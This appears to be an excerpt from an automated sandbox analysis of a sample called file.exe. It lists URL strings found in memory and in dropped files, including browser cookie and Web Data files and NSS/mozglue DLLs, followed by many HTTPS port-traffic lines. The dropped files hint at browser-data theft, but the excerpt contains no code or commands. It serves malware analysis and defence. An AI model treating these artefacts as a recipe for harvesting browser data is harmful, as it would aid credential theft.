Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log2.9.dr, 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log8.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log8.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log8.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377021688283081.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://srtb.msn.com/
Source: BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	String found in binary or memory: https://support.mozilla.org
Source: BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2581862430.000000002394D000.00000004.00000020.00020000.00000000.sdmp, KFHJJDHJEGHJKECBGCFH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2581862430.000000002394D000.00000004.00000020.00020000.00000000.sdmp, KFHJJDHJEGHJKECBGCFH.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2360042892.00000000238F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2558172781.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, BFHDAEHD.0.dr, DGHCBAAE.0.dr, Web Data.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 721186f7-da6b-4321-b0e6-8b31ecc65bbc.tmp.10.dr	String found in binary or memory: https://www.googleapis.com
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2558803779.0000000000F44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2558803779.0000000000F44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2558803779.0000000000F44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2558803779.0000000001027000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2558803779.0000000000F44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2477312346.0000000023BB4000.00000004.00000020.00020000.00000000.sdmp, BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2477312346.0000000023BB4000.00000004.00000020.00020000.00000000.sdmp, BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2558803779.0000000000F44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2477312346.0000000023BB4000.00000004.00000020.00020000.00000000.sdmp, BFCFBKKKFHCFHJKFIIEHDBGCBK.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2558803779.0000000000F44000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.tiktok.com/
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: 01700b83-2aaf-4716-9236-6a4baaad0eda.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
